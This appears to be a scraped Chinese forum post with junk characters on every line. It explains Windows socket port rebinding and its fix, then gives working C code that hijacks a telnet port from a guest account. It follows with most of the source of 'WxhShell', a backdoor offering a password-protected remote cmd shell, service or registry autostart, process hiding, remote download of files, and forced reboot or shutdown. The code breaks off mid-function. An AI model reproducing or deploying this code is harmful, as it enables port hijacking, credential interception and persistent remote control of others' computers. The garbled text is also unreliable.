在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'L)@tkklp s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
j(mbUB* Qi`Lj5;\F saddr.sin_family = AF_INET;
#4"(M9kf $6w[h7 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!qPVC\l YlDui8.N bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/gT$ d2{ 44 ,:@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
mxsmW +c5z-X$^] 这意味着什么?意味着可以进行如下的攻击:
<wUDcF v
0mc1g+9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&3lg\&" K.c6n,' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}I<r=? ^c3~CD5H
3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
so}(*E&(a bI.LE/yk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
f$$l,wo n[ip'*2L 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3/V&PDC*' {h/[!I` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
R{GOlxKs C j|"#S4IX)F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@Z> {/ ^lhV\YxJ #include
tcyami6D4 #include
%Cbqi.iuQ #include
)*@n G$i99 #include
UN#XP$utY DWORD WINAPI ClientThread(LPVOID lpParam);
>aXyi3B int main()
p\OUx Am {
h<2o5c| WORD wVersionRequested;
x`K<z
J DWORD ret;
"&*O7cs$pA WSADATA wsaData;
SskvxH+7 BOOL val;
f*KNt_|: SOCKADDR_IN saddr;
[:<CgU9C SOCKADDR_IN scaddr;
KM$Lu2 int err;
/NfuR$oMd SOCKET s;
}SYR)eE\ SOCKET sc;
/.r|ron:e int caddsize;
|kJ'FZZd HANDLE mt;
=W'a6)WE DWORD tid;
%PozxF: wVersionRequested = MAKEWORD( 2, 2 );
N>##}i err = WSAStartup( wVersionRequested, &wsaData );
i"mN0% if ( err != 0 ) {
i[1K~yXq: printf("error!WSAStartup failed!\n");
QcJ?1GwA" return -1;
=.`(KXT }
.lnyn|MVb saddr.sin_family = AF_INET;
S]&f+g}&w sy`@q<h( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$sK8l=# 5v6 x saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
HwTb753 saddr.sin_port = htons(23);
5/Viz`hsz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g
bDre~| {
~t7?5b?*\ printf("error!socket failed!\n");
`|?K4<5| return -1;
)90 Q }
3)\jUVuj val = TRUE;
U;QTA8|!& //SO_REUSEADDR选项就是可以实现端口重绑定的
9IJBK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A+P9M \u. {
\6o%gpUkD printf("error!setsockopt failed!\n");
pw|f4c7AH return -1;
B1)gudP` }
{3n|= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
JDPn
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V45A>#?U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
87WIDr ..BIoSrj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
FOJ-?s( {
&?N1-?BjM ret=GetLastError();
l~P%mVC3m printf("error!bind failed!\n");
T-e'r return -1;
s2=rj?g&(X }
"(bnr0 listen(s,2);
YaiogA while(1)
u^.7zL+ {
w#|uR^~ caddsize = sizeof(scaddr);
}ie O //接受连接请求
<q@/Yy32 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@@~OA>^ if(sc!=INVALID_SOCKET)
j}9][Fm1* {
{l$DNnS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/)RyRS8c if(mt==NULL)
ILi{5L {
,z<J`n printf("Thread Creat Failed!\n");
E4;vC ?K{ break;
8~*<s5H }
x!5b"
" }
I/YBL CloseHandle(mt);
8@;|x2=y }
f_A'.oq+ closesocket(s);
C\"nlNKw WSACleanup();
)F_vWbg return 0;
WUOoK$I~K }
A^lJlr:_` DWORD WINAPI ClientThread(LPVOID lpParam)
.*FBr7rE\ {
6ub-NtVu SOCKET ss = (SOCKET)lpParam;
{"{kWbXZ SOCKET sc;
{A!1s; unsigned char buf[4096];
r{NCI SOCKADDR_IN saddr;
P5$d#Y(= long num;
$sF'Sr{)y DWORD val;
\dvzL(, DWORD ret;
BK>3rjXi>a //如果是隐藏端口应用的话,可以在此处加一些判断
%f[0&)1!.v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
B=dF\.&Z saddr.sin_family = AF_INET;
]b5E_/P saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
eCejO59F9 saddr.sin_port = htons(23);
Cj{+DXT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Pw c)u& {
9*fA:*T printf("error!socket failed!\n");
x=-dv8N? return -1;
=NJ:%kvF }
=VA5!-6<Uq val = 100;
rl:6N*kK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$D;/b+a {
n^}M*# ret = GetLastError();
Iv,Ub_Ll9 return -1;
LPuc&8lGWf }
wXUP%i]i= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O*qSc^ 9q {
Ml-GAkgG ret = GetLastError();
+]?/c>M return -1;
sA^_I6>M" }
j&6O1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{7EnM1] {
wY$'KmNW printf("error!socket connect failed!\n");
T2EQQFs closesocket(sc);
Pv-El+e! closesocket(ss);
[\i0@ return -1;
S"-q*!AhK }
D1xIRyc/ while(1)
k@}?!V*l {
Z\1*g k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6Bv!t2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
lI,lR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Q4~/Tl; num = recv(ss,buf,4096,0);
!u)>XS^E if(num>0)
KImBQ2 ^Tu send(sc,buf,num,0);
gteG*p i else if(num==0)
8]G break;
U2hPsF4f num = recv(sc,buf,4096,0);
!V%h0OE\ if(num>0)
whH_<@! send(ss,buf,num,0);
JXT%@w>I else if(num==0)
tccw0 break;
,=Q;@Z4 vJ }
V1yY> closesocket(ss);
yM_ta '^$ closesocket(sc);
F+!w[}0 return 0 ;
%R?B=W7;Q }
K[,d9j`^ _1>Xk_ G
51l_ ==========================================================
XIep3l* Ca2He}r` 下边附上一个代码,,WXhSHELL
-'!K(" $m
hIXA. ==========================================================
62-,!N 1- *|Bu 7nwg #include "stdafx.h"
to2#PXf]y W't?aj I| #include <stdio.h>
K^zu{`S #include <string.h>
i>*|k] #include <windows.h>
?cyBF*o #include <winsock2.h>
r%:Q(|v? #include <winsvc.h>
X=1Po | #include <urlmon.h>
s%cfJe_k /
5\gP//9K #pragma comment (lib, "Ws2_32.lib")
K3Sa6"U #pragma comment (lib, "urlmon.lib")
S]"U(JmW\ e7O9q8b #define MAX_USER 100 // 最大客户端连接数
MbT;]Bo #define BUF_SOCK 200 // sock buffer
p1BMQ?=($ #define KEY_BUFF 255 // 输入 buffer
&EUI d O})#50f #define REBOOT 0 // 重启
r
9~Wh
$ #define SHUTDOWN 1 // 关机
o[A y2"e? `d,v #define DEF_PORT 5000 // 监听端口
-22]|$f eb#yCDIC #define REG_LEN 16 // 注册表键长度
L2ybL#dz #define SVC_LEN 80 // NT服务名长度
4uX|2nJ2!; 8\lRP,- // 从dll定义API
mJ #|~I*Z- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
z+5ZUS2~& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
`)aIFAW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
mm1fG4
*% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
xs}3=&c( _o+z#Fn z // wxhshell配置信息
B=<Z@u struct WSCFG {
hf`5NcnP int ws_port; // 监听端口
VG=mA4Dd char ws_passstr[REG_LEN]; // 口令
/N8>>g int ws_autoins; // 安装标记, 1=yes 0=no
.#OD=wkN0 char ws_regname[REG_LEN]; // 注册表键名
2 -C*RHRx char ws_svcname[REG_LEN]; // 服务名
4Ou5Vp&y char ws_svcdisp[SVC_LEN]; // 服务显示名
QjIn0MJ)Xm char ws_svcdesc[SVC_LEN]; // 服务描述信息
@CB&*VoB char ws_passmsg[SVC_LEN]; // 密码输入提示信息
S|K#lL int ws_downexe; // 下载执行标记, 1=yes 0=no
2{Johqf char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*x<3=9V char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?cB:1?\j rlpbLOG` };
\/8oua_) nOQvBc // default Wxhshell configuration
m>:zwz< ; struct WSCFG wscfg={DEF_PORT,
SDbR(oV "xuhuanlingzhe",
o,q47W=7$ 1,
yQ03&{# "Wxhshell",
2uEvu "Wxhshell",
Lu.C+zgQ "WxhShell Service",
@ L=dcO{r "Wrsky Windows CmdShell Service",
svWQk9d "Please Input Your Password: ",
/QW-#K|S& 1,
9j8<Fs0M "
http://www.wrsky.com/wxhshell.exe",
n5U-D0/Q "Wxhshell.exe"
nYb{?{_ca8 };
dRGgiQO EpCT !e // 消息定义模块
+t
JEG: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/@O$jlX5I char *msg_ws_prompt="\n\r? for help\n\r#>";
-tH ^Deo char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
GF/!@N char *msg_ws_ext="\n\rExit.";
Vb++K0CK char *msg_ws_end="\n\rQuit.";
P$H9 char *msg_ws_boot="\n\rReboot...";
isR)^fI| char *msg_ws_poff="\n\rShutdown...";
v?L`aj1ox char *msg_ws_down="\n\rSave to ";
+?%LX4Y [h0.k"&[ char *msg_ws_err="\n\rErr!";
YVW`|'7)| char *msg_ws_ok="\n\rOK!";
y?-zQs0 .QLjaEja char ExeFile[MAX_PATH];
AM:lU int nUser = 0;
Q~-M B]' HANDLE handles[MAX_USER];
RQ*oTsq int OsIsNt;
*>,#'C2 mM;5UPbZ SERVICE_STATUS serviceStatus;
T$pBgS> SERVICE_STATUS_HANDLE hServiceStatusHandle;
{x\lK; r"hogmFD; // 函数声明
}{S pV int Install(void);
]m=2 $mK int Uninstall(void);
~a06x^=j int DownloadFile(char *sURL, SOCKET wsh);
YsA., int Boot(int flag);
n1Fp$9% void HideProc(void);
mhi^zHpa int GetOsVer(void);
qZB}}pM# int Wxhshell(SOCKET wsl);
grZ?F~P8 void TalkWithClient(void *cs);
Ch0t' int CmdShell(SOCKET sock);
!)//b] int StartFromService(void);
g&?RQ int StartWxhshell(LPSTR lpCmdLine);
"V>p C#oH7o+_. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
[eLU}4v{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
Z` zyEP A \ sc's7 // 数据结构和表定义
>mCS`D8 SERVICE_TABLE_ENTRY DispatchTable[] =
#,jw! HO] {
i7jI(VvB^ {wscfg.ws_svcname, NTServiceMain},
\wb0%>
0 {NULL, NULL}
e .( };
iji2gWV}h kNC]q,ljt5 // 自我安装
F- l!i/ int Install(void)
>!BZ>G2 {
P~9y}7Q\0 char svExeFile[MAX_PATH];
'nP;IuMP HKEY key;
9*CJWS; strcpy(svExeFile,ExeFile);
9
lH00n+' TYu(;~ // 如果是win9x系统,修改注册表设为自启动
C| g]Y 7 if(!OsIsNt) {
Jj'dg6QY' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jr3FDd] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Kq&JvY^ RegCloseKey(key);
?5Q_G1H& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Br}0dha3E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YJqbA?i RegCloseKey(key);
.]y"04@] return 0;
){FXonVP }
u0i;vO)MNt }
3x3 =ke! }
mNdEn<W else {
MzpDvnI9 X{-901J1 // 如果是NT以上系统,安装为系统服务
R7NE=X4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*'\xlsp# if (schSCManager!=0)
Tq,xW {
x2$Y"b?vz SC_HANDLE schService = CreateService
MgrJ ;?L (
4)z*Vux schSCManager,
5169E* wscfg.ws_svcname,
#4wia%}u wscfg.ws_svcdisp,
r NT>{
SERVICE_ALL_ACCESS,
a8v9j3. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Wo,"$Z6B SERVICE_AUTO_START,
K;P<c,9X/ SERVICE_ERROR_NORMAL,
N*6lyFcg svExeFile,
-XMWN$Ah NULL,
^w+)A;?W NULL,
V}po NULL,
nv}z%.rRUj NULL,
+H6cZ, NULL
$I4:g.gKpG );
<}n"gk1is if (schService!=0)
\\v1\ {
vQsI^p CloseServiceHandle(schService);
Gid6,J CloseServiceHandle(schSCManager);
h $2lO^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*sYvV, strcat(svExeFile,wscfg.ws_svcname);
;T\'|[bY if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.e1Yd8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=P7!6V\f RegCloseKey(key);
)Nkf'& return 0;
/4%ycr6 }
@zq]vX-A_ }
2Nvb Q 3c5 CloseServiceHandle(schSCManager);
Q%.F Mf }
rlP?Uh }
ty-erdsP Fz1K*xx' return 1;
0.!!rq, }
"C'T>^qw* u3])_oj= // 自我卸载
~=i<O&nai int Uninstall(void)
jPA^SxM {
"fZWAGDBO\ HKEY key;
`R@b`3*%v aZB$%#'vR if(!OsIsNt) {
WwAvR5jq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l2
mO{'|C RegDeleteValue(key,wscfg.ws_regname);
dH_g:ocA RegCloseKey(key);
2Wp)CI<\D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g#s hd~e RegDeleteValue(key,wscfg.ws_regname);
z=pGu_`2 RegCloseKey(key);
! w2BD^V- return 0;
MVXy)9q }
v|@1W Uc,g }
,; k`N`#' }
/^Ng7Mi! else {
![3l
K rJUXIV>z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vD3j(d if (schSCManager!=0)
SU>cJ* {
<MzXTy3\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i[40p!~ if (schService!=0)
*G(ZRj@33 {
b|E1>TkY if(DeleteService(schService)!=0) {
-I*NS6 CloseServiceHandle(schService);
% h"%G=: CloseServiceHandle(schSCManager);
Y2>0Y3yM return 0;
e%EE| }
IZ3e: CloseServiceHandle(schService);
zelM}/d }
;|AyP CloseServiceHandle(schSCManager);
) ={
H }
-'~61=PD }
X\HP&;Wd M.0N`NmS return 1;
SPo}!&p$~ }
P2=u-{?~ ew
4pAav // 从指定url下载文件
Bl*.N9* int DownloadFile(char *sURL, SOCKET wsh)
ZP;WXB` {
t^SND{[WcM HRESULT hr;
gQ=l\/H char seps[]= "/";
`~+[pY1r char *token;
]5sU =\ char *file;
]o2 Z14 char myURL[MAX_PATH];
W $E Ao+V char myFILE[MAX_PATH];
yR4++yk _a-At strcpy(myURL,sURL);
6'6,ySo] token=strtok(myURL,seps);
t# <(Q while(token!=NULL)
.qg 2zE$0 {
?i5=sK\ file=token;
h[}e5A]} token=strtok(NULL,seps);
Zg/
],/ ` }
z%44@TP Dio9'&DtC GetCurrentDirectory(MAX_PATH,myFILE);
X}G3>HcP strcat(myFILE, "\\");
cByUP#hW strcat(myFILE, file);
|7@@~|A send(wsh,myFILE,strlen(myFILE),0);
*D:uFo,xn send(wsh,"...",3,0);
*@zya9y9q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
X-}]?OOs if(hr==S_OK)
@D7/u88| return 0;
:<i<\TH' else
}-2U,Xg[ return 1;
MHF7hk ps} >@?`n}r| }
)A=&3Ui)ab eg(1kDMpn // 系统电源模块
#s3R4@{ int Boot(int flag)
JYO("f {
:BpXi|n; HANDLE hToken;
JHCXUT-r{ TOKEN_PRIVILEGES tkp;
dz=pL$C meArS*d if(OsIsNt) {
;Wedj\Kkp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!X ={a{<,T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
S9lT4 tkp.PrivilegeCount = 1;
NZ:KJ8ea" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(;cvLop AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
84f^==Y if(flag==REBOOT) {
H rI(uZ] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
` <IaQY return 0;
5"2pU{xmK }
'-M9v3itC else {
&"mWi-Mpl if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
~R
C\ return 0;
)bl^:C }
"eZ~]m}L0 }
UB3hC`N\ else {
\CVrLn;} if(flag==REBOOT) {
c%5Suu(J6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/[,0,B9!3 return 0;
p%ZAVd*|#V }
N.dcQQ_iS else {
,FWsgqL{l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a&%v ^r[ return 0;
/f]'_t0\. }
) 8 %lZ{ }
'QQa :3<x W WN2 return 1;
$64sf?aZ># }
?d`j} 8<PQ31 // win9x进程隐藏模块
2g$;ZBHO|8 void HideProc(void)
xy+hrbD)j {
=.2)wA"e' NQIbav^5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
RKD$'UWX if ( hKernel != NULL )
&2,^CG {
>\'gIIs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
U)] }EgpF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
2|$G<f FreeLibrary(hKernel);
!<= ^&\A }
@
GXi{9 y_{fc$_& return;
&Rt^G }
p61F@=EL ~As_O6JI // 获取操作系统版本
,QPo%{:p int GetOsVer(void)
ChRCsu~ {
O~D]C OSVERSIONINFO winfo;
grTwo winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
y@9ifFr GetVersionEx(&winfo);
1!&m1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Nc:0opPM return 1;
n |Q'> else
2aJ_[3p/h] return 0;
v?s%qb= T }
!n|4w$t"V e~PAi8B5 // 客户端句柄模块
a3C\?5 int Wxhshell(SOCKET wsl)
'DTq<`~? {
`Tc"a_p9t SOCKET wsh;
-~ H?R struct sockaddr_in client;
{C5-M! D{< DWORD myID;
#D
.hZ=! l09SWug while(nUser<MAX_USER)
m4,inA:o {
`@^s}rt + int nSize=sizeof(client);
k FCdGl wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
PG@6*E if(wsh==INVALID_SOCKET) return 1;
aRcVoOq r>g5_"FL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
U
U@ if(handles[nUser]==0)
b)7v-1N closesocket(wsh);
yny1i9
y else
{9-n3j} nUser++;
0X}0, }
F&a)mpFv3c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
USzO):o oW3|b2D return 0;
m-lTXA( }
<v3pI!)x =H8Y // 关闭 socket
m.Ki4NUm void CloseIt(SOCKET wsh)
G(gZL%M6 {
;@H:+R+( closesocket(wsh);
c{[ lT2yxU nUser--;
HM &"2c ExitThread(0);
3|=L1Pw# }
lsKQZ@LN` ,AwX7gx22 // 客户端请求句柄
x+EEMv3u: void TalkWithClient(void *cs)
h_15 " rd {
yZc#@R[0 hkx (r5o SOCKET wsh=(SOCKET)cs;
._TN;tR~' char pwd[SVC_LEN];
L u1pxL char cmd[KEY_BUFF];
F~?|d0
char chr[1];
Z31a4O int i,j;
w#{S=^`} iC~ll!FA! while (nUser < MAX_USER) {
#3_
@aq* d[oHjWk if(wscfg.ws_passstr) {
f7:}t+d if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;lf $)3%[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lPw`KW //ZeroMemory(pwd,KEY_BUFF);
k(M(]y_ i=0;
@4=Az1W* while(i<SVC_LEN) {
{!^0j{T *M'/z=V?% // 设置超时
dP=,<H#]m fd_set FdRead;
.+&M,%
x struct timeval TimeOut;
yaPx=^& FD_ZERO(&FdRead);
vrIWw?/z? FD_SET(wsh,&FdRead);
;Q0H7)t: TimeOut.tv_sec=8;
OJD!Ar8Q TimeOut.tv_usec=0;
a?@lX>Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}z5u^_-m if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
QypUBf #'BPW<Ob if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
8wMwS6s: pwd
=chr[0]; <YvW /x
if(chr[0]==0xd || chr[0]==0xa) { a"^rOiXR{
pwd=0; PxA
OKUpI
break; +#9 4X)*
} E_\V^
i++; w9675D+
} rp=Y }
Qcn;:6_&W
// 如果是非法用户,关闭 socket ,,]<f*N
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^.c<b_(=h
} *gOUpbtXa
*
'Bu-1{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i&j]FX6q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q^h/64F
7G%:ckg
while(1) { [DvQk?,t
o8~<t]Ejw
ZeroMemory(cmd,KEY_BUFF); 9ePom'1f1
77-G*PI*I
// 自动支持客户端 telnet标准 p$mt&,p
j=0; KPA.5,ai
while(j<KEY_BUFF) { &Qq|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U#|6n ,
cmd[j]=chr[0]; B7PdavO#
if(chr[0]==0xa || chr[0]==0xd) { US\h,J\Ju
cmd[j]=0; K94bM5O 1
break; 1p8hn!V
} T\"-q4+=C
j++; (wf3HEb_
} j<)`|?@e(
L;v.X'f
// 下载文件 51xf.iB
if(strstr(cmd,"http://")) { |)S*RQb\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .R)uk
if(DownloadFile(cmd,wsh)) 51;[R8'w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "[0.a\ d<
else C8D`:k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SGu`vN]
} Z>pZ|
else { Q 3/J@MC
Y|buQQ|
switch(cmd[0]) { A=wG};%_
)r?-_qj=
// 帮助 F?t;bV
case '?': { +
]iK^y-.r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bnJ4Edy
break; T3@34}*
} hD{
`j
// 安装 AcHeZb8b
case 'i': { vU$n*M1`$
if(Install()) :*s@L2D6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|dHD
else V>D}z8w7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,&L}^ Up
break; qfjUJ/
} $W%-Mm
// 卸载 qg:EN~E#
case 'r': { wo;OkJKF
if(Uninstall()) +.Xi7x+#O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d.HcO^
else ';v1AX}5q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GJF &id
break; MjWxfW/
} J|vg<[
// 显示 wxhshell 所在路径 kK/XYC
0D
case 'p': { $hMD6<e
char svExeFile[MAX_PATH]; Cj$:TWYIh[
strcpy(svExeFile,"\n\r"); dsH*9t:z
strcat(svExeFile,ExeFile); TFAR>8Nm
send(wsh,svExeFile,strlen(svExeFile),0); hzT)5'_
break; F|@\IVEB]
} Wg2 0H23XW
// 重启 '.C#"nY>1
case 'b': { UuC-R)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =2}V=E/85
if(Boot(REBOOT)) zRbY]dW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z#1"0Ks&P
else { ? a)Fm8Y
closesocket(wsh); 0Ua=&;/2
ExitThread(0); *F!1xyg
} ,RW`9+gx
break; cL][sI
} ".2d{B
// 关机 *f_A:`:
case 'd': {
7iyx_gyo
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %k~ezn
if(Boot(SHUTDOWN)) Dt{WRe\#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (L yK o
else { \+=`o .2
closesocket(wsh); mxpj<^n}
ExitThread(0); q;UGiB^(A
} yDWBrN._
break; g> ~+M
} $/|vbe,
// 获取shell g>k?03;
case 's': { 0a bQY
CmdShell(wsh); t=9f:,I$
closesocket(wsh); jsx&h
Y%(
ExitThread(0); crN*eFeW
break; [ D.%v~j
} C!ch
!E#
// 退出 }r@yBUW
case 'x': { r-yUWIr
S
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `'&mO9,<-
CloseIt(wsh); TiF+rA{t
break; 3+(lKd
} #<Lv&-U<KT
// 离开 -/V(Z+dj
case 'q': { E
AZX
send(wsh,msg_ws_end,strlen(msg_ws_end),0); e<*qaUI
closesocket(wsh); F-oe49p5e
WSACleanup(); >\w]i*%
exit(1); dfKGO$}V
break; Ow.DBL)x'>
} ,II3b(l
} LrT EF
j
} \P")Eh =d
V1pBKr)v
// 提示信息 .g1x$cQ1<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LAH">E
} +cSc0:
} {dm>]@"S
~KYzEqy
return; wc.=`Me
} iy_Y!wZ{
Pq8oK'z-
// shell模块句柄 z;F HZb9t,
int CmdShell(SOCKET sock) O"Nr$bS(Y
{ ^g5E&0a`g
STARTUPINFO si; 0zkMRBe
ZeroMemory(&si,sizeof(si)); {u2Zl7]z^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Jdku}Pf
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \$*CXjh3G
PROCESS_INFORMATION ProcessInfo; t$wbwP
char cmdline[]="cmd"; r-TrA$k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dR;N3KwY
return 0; #o7)eKeQ
} cjJfxD&q
d9BFeq8
// 自身启动模式 o-7{\%+M
int StartFromService(void) yNowhh
{ goA=U
typedef struct /I!62?)-*
{ 6h2keyod
DWORD ExitStatus; ;Q^>F6+_m
DWORD PebBaseAddress; BxjSo^n
DWORD AffinityMask; RL/y7M1j
DWORD BasePriority; 2l+L96
ULONG UniqueProcessId; d}':7Np
